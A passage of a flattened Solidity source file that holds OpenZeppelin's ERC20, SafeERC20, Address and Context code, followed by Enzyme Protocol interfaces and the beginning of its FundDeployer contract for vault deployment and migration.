* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IDispatcher Interface
/// @author Enzyme Council <[email protected]>
interface IDispatcher {
function cancelMigration(address _vaultProxy, bool _bypassFailure) external;
function claimOwnership() external;
function deployVaultProxy(
address _vaultLib,
address _owner,
address _vaultAccessor,
string calldata _fundName
) external returns (address vaultProxy_);
function executeMigration(address _vaultProxy, bool _bypassFailure) external;
function getCurrentFundDeployer() external view returns (address currentFundDeployer_);
function getFundDeployerForVaultProxy(address _vaultProxy)
external
view
returns (address fundDeployer_);
function getMigrationRequestDetailsForVaultProxy(address _vaultProxy)
external
view
returns (
address nextFundDeployer_,
address nextVaultAccessor_,
address nextVaultLib_,
uint256 executableTimestamp_
);
function getMigrationTimelock() external view returns (uint256 migrationTimelock_);
function getNominatedOwner() external view returns (address nominatedOwner_);
function getOwner() external view returns (address owner_);
function getSharesTokenSymbol() external view returns (string memory sharesTokenSymbol_);
function getTimelockRemainingForMigrationRequest(address _vaultProxy)
external
view
returns (uint256 secondsRemaining_);
function hasExecutableMigrationRequest(address _vaultProxy)
external
view
returns (bool hasExecutableRequest_);
function hasMigrationRequest(address _vaultProxy)
external
view
returns (bool hasMigrationRequest_);
function removeNominatedOwner() external;
function setCurrentFundDeployer(address _nextFundDeployer) external;
function setMigrationTimelock(uint256 _nextTimelock) external;
function setNominatedOwner(address _nextNominatedOwner) external;
function setSharesTokenSymbol(string calldata _nextSymbol) external;
function signalMigration(
address _vaultProxy,
address _nextVaultAccessor,
address _nextVaultLib,
bool _bypassFailure
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IMigrationHookHandler Interface
/// @author Enzyme Council <[email protected]>
interface IMigrationHookHandler {
enum MigrationOutHook {PreSignal, PostSignal, PreMigrate, PostMigrate, PostCancel}
function invokeMigrationInCancelHook(
address _vaultProxy,
address _prevFundDeployer,
address _nextVaultAccessor,
address _nextVaultLib
) external;
function invokeMigrationOutHook(
MigrationOutHook _hook,
address _vaultProxy,
address _nextFundDeployer,
address _nextVaultAccessor,
address _nextVaultLib
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IExternalPosition Contract
/// @author Enzyme Council <[email protected]>
interface IExternalPosition {
function getDebtAssets() external returns (address[] memory, uint256[] memory);
function getManagedAssets() external returns (address[] memory, uint256[] memory);
function init(bytes memory) external;
function receiveCallFromVault(bytes memory) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IExternalPositionVault interface
/// @author Enzyme Council <[email protected]>
/// Provides an interface to get the externalPositionLib for a given type from the Vault
interface IExternalPositionVault {
function getExternalPositionLibForType(uint256) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IFreelyTransferableSharesVault Interface
/// @author Enzyme Council <[email protected]>
/// @notice Provides the interface for determining whether a vault's shares
/// are guaranteed to be freely transferable.
/// @dev DO NOT EDIT CONTRACT
interface IFreelyTransferableSharesVault {
function sharesAreFreelyTransferable()
external
view
returns (bool sharesAreFreelyTransferable_);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IMigratableVault Interface
/// @author Enzyme Council <[email protected]>
/// @dev DO NOT EDIT CONTRACT
interface IMigratableVault {
function canMigrate(address _who) external view returns (bool canMigrate_);
function init(
address _owner,
address _accessor,
string calldata _fundName
) external;
function setAccessor(address _nextAccessor) external;
function setVaultLib(address _nextVaultLib) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "../../../persistent/dispatcher/IDispatcher.sol";
import "../../../persistent/dispatcher/IMigrationHookHandler.sol";
import "../../extensions/IExtension.sol";
import "../../infrastructure/gas-relayer/GasRelayRecipientMixin.sol";
import "../../infrastructure/protocol-fees/IProtocolFeeTracker.sol";
import "../fund/comptroller/ComptrollerProxy.sol";
import "../fund/comptroller/IComptroller.sol";
import "../fund/vault/IVault.sol";
import "./IFundDeployer.sol";
/// @title FundDeployer Contract
/// @author Enzyme Council <[email protected]>
/// @notice The top-level contract of the release.
/// It primarily coordinates fund deployment and fund migration, but
/// it is also deferred to for contract access control and for allowed calls
/// that can be made with a fund's VaultProxy as the msg.sender.
contract FundDeployer is IFundDeployer, IMigrationHookHandler, GasRelayRecipientMixin {
event BuySharesOnBehalfCallerDeregistered(address caller);
event BuySharesOnBehalfCallerRegistered(address caller);
event ComptrollerLibSet(address comptrollerLib);
event ComptrollerProxyDeployed(
address indexed creator,
address comptrollerProxy,
address indexed denominationAsset,
uint256 sharesActionTimelock
);
event GasLimitsForDestructCallSet(
uint256 nextDeactivateFeeManagerGasLimit,
uint256 nextPayProtocolFeeGasLimit
);
event MigrationRequestCreated(
address indexed creator,
address indexed vaultProxy,
address comptrollerProxy
);
event NewFundCreated(address indexed creator, address vaultProxy, address comptrollerProxy);
event ProtocolFeeTrackerSet(address protocolFeeTracker);
event ReconfigurationRequestCancelled(
address indexed vaultProxy,
address indexed nextComptrollerProxy
);
event ReconfigurationRequestCreated(
address indexed creator,
address indexed vaultProxy,
address comptrollerProxy,
uint256 executableTimestamp
);
event ReconfigurationRequestExecuted(
address indexed vaultProxy,
address indexed prevComptrollerProxy,
address indexed nextComptrollerProxy
);
event ReconfigurationTimelockSet(uint256 nextTimelock);
event ReleaseIsLive();
event VaultCallDeregistered(
address indexed contractAddress,
bytes4 selector,
bytes32 dataHash
);
event VaultCallRegistered(address indexed contractAddress, bytes4 selector, bytes32 dataHash);
event VaultLibSet(address vaultLib);
struct ReconfigurationRequest {
address nextComptrollerProxy;
uint256 executableTimestamp;
}
// Constants
// keccak256(abi.encodePacked("mln.vaultCall.any")
bytes32
private constant ANY_VAULT_CALL = 0x5bf1898dd28c4d29f33c4c1bb9b8a7e2f6322847d70be63e8f89de024d08a669;
address private immutable CREATOR;
address private immutable DISPATCHER;
// Pseudo-constants (can only be set once)
address private comptrollerLib;
address private protocolFeeTracker;
address private vaultLib;
// Storage
uint32 private gasLimitForDestructCallToDeactivateFeeManager; // Can reduce to uint16
uint32 private gasLimitForDestructCallToPayProtocolFee; // Can reduce to uint16
bool private isLive;
uint256 private reconfigurationTimelock;
mapping(address => bool) private acctToIsAllowedBuySharesOnBehalfCaller;
mapping(bytes32 => mapping(bytes32 => bool)) private vaultCallToPayloadToIsAllowed;
mapping(address => ReconfigurationRequest) private vaultProxyToReconfigurationRequest;
modifier onlyDispatcher() {
require(msg.sender == DISPATCHER, "Only Dispatcher can call this function");
_;
}
modifier onlyLiveRelease() {
require(releaseIsLive(), "Release is not yet live");
_;
}
modifier onlyMigrator(address _vaultProxy) {
__assertIsMigrator(_vaultProxy, __msgSender());
_;
}
modifier onlyMigratorNotRelayable(address _vaultProxy) {
__assertIsMigrator(_vaultProxy, msg.sender);
_;
}
modifier onlyOwner() {
require(msg.sender == getOwner(), "Only the contract owner can call this function");
_;
}
modifier pseudoConstant(address _storageValue) {
require(_storageValue == address(0), "This value can only be set once");
_;
}
function __assertIsMigrator(address _vaultProxy, address _who) private view {
require(
IVault(_vaultProxy).canMigrate(_who),
"Only a permissioned migrator can call this function"
);
}
constructor(address _dispatcher, address _gasRelayPaymasterFactory)
public
GasRelayRecipientMixin(_gasRelayPaymasterFactory)
{
// Validate constants
require(
ANY_VAULT_CALL == keccak256(abi.encodePacked("mln.vaultCall.any")),
"constructor: Incorrect ANY_VAULT_CALL"
);
CREATOR = msg.sender;
DISPATCHER = _dispatcher;
// Estimated base call cost: 17k
// Per fee that uses shares outstanding (default recipient): 33k
// 300k accommodates up to 8 such fees
gasLimitForDestructCallToDeactivateFeeManager = 300000;
// Estimated cost: 50k
gasLimitForDestructCallToPayProtocolFee = 200000;
reconfigurationTimelock = 2 days;
}
//////////////////////////////////////
// PSEUDO-CONSTANTS (only set once) //
//////////////////////////////////////
/// @notice Sets the ComptrollerLib
/// @param _comptrollerLib The ComptrollerLib contract address
function setComptrollerLib(address _comptrollerLib)
external
onlyOwner
pseudoConstant(getComptrollerLib())
{
comptrollerLib = _comptrollerLib;
emit ComptrollerLibSet(_comptrollerLib);
}
/// @notice Sets the ProtocolFeeTracker
/// @param _protocolFeeTracker The ProtocolFeeTracker contract address
function setProtocolFeeTracker(address _protocolFeeTracker)
external
onlyOwner
pseudoConstant(getProtocolFeeTracker())
{
protocolFeeTracker = _protocolFeeTracker;
emit ProtocolFeeTrackerSet(_protocolFeeTracker);
}
/// @notice Sets the VaultLib
/// @param _vaultLib The VaultLib contract address
function setVaultLib(address _vaultLib) external onlyOwner pseudoConstant(getVaultLib()) {
vaultLib = _vaultLib;
emit VaultLibSet(_vaultLib);
}
/////////////
// GENERAL //
/////////////
/// @notice Gets the current owner of the contract
/// @return owner_ The contract owner address
/// @dev The owner is initially the contract's creator, for convenience in setting up configuration.
/// Ownership is handed-off when the creator calls setReleaseLive().
function getOwner() public view override returns (address owner_) {
if (!releaseIsLive()) {
return getCreator();
}
return IDispatcher(getDispatcher()).getOwner();
}
/// @notice Sets the amounts of gas to forward to each of the ComptrollerLib.destructActivated() external calls
/// @param _nextDeactivateFeeManagerGasLimit The amount of gas to forward to deactivate the FeeManager
/// @param _nextPayProtocolFeeGasLimit The amount of gas to forward to pay the protocol fee
function setGasLimitsForDestructCall(
uint32 _nextDeactivateFeeManagerGasLimit,
uint32 _nextPayProtocolFeeGasLimit
) external onlyOwner {
require(
_nextDeactivateFeeManagerGasLimit > 0 && _nextPayProtocolFeeGasLimit > 0,
"setGasLimitsForDestructCall: Zero value not allowed"
);
gasLimitForDestructCallToDeactivateFeeManager = _nextDeactivateFeeManagerGasLimit;
gasLimitForDestructCallToPayProtocolFee = _nextPayProtocolFeeGasLimit;
emit GasLimitsForDestructCallSet(
_nextDeactivateFeeManagerGasLimit,
_nextPayProtocolFeeGasLimit
);
}
/// @notice Sets the release as live
/// @dev A live release allows funds to be created and migrated once this contract
/// is set as the Dispatcher.currentFundDeployer
function setReleaseLive() external {
require(
msg.sender == getCreator(),
"setReleaseLive: Only the creator can call this function"
);
require(!releaseIsLive(), "setReleaseLive: Already live");
// All pseudo-constants should be set
require(getComptrollerLib() != address(0), "setReleaseLive: comptrollerLib is not set");
require(
getProtocolFeeTracker() != address(0),
"setReleaseLive: protocolFeeTracker is not set"
);
require(getVaultLib() != address(0), "setReleaseLive: vaultLib is not set");
isLive = true;
emit ReleaseIsLive();
}
/// @dev Helper to call ComptrollerProxy.destructActivated() with the correct params
function __destructActivatedComptrollerProxy(address _comptrollerProxy) private {
(
uint256 deactivateFeeManagerGasLimit,
uint256 payProtocolFeeGasLimit
) = getGasLimitsForDestructCall();
IComptroller(_comptrollerProxy).destructActivated(
deactivateFeeManagerGasLimit,
payProtocolFeeGasLimit
);
}
///////////////////
// FUND CREATION //
///////////////////
/// @notice Creates a fully-configured ComptrollerProxy instance for a VaultProxy and signals the migration process
/// @param _vaultProxy The VaultProxy to migrate
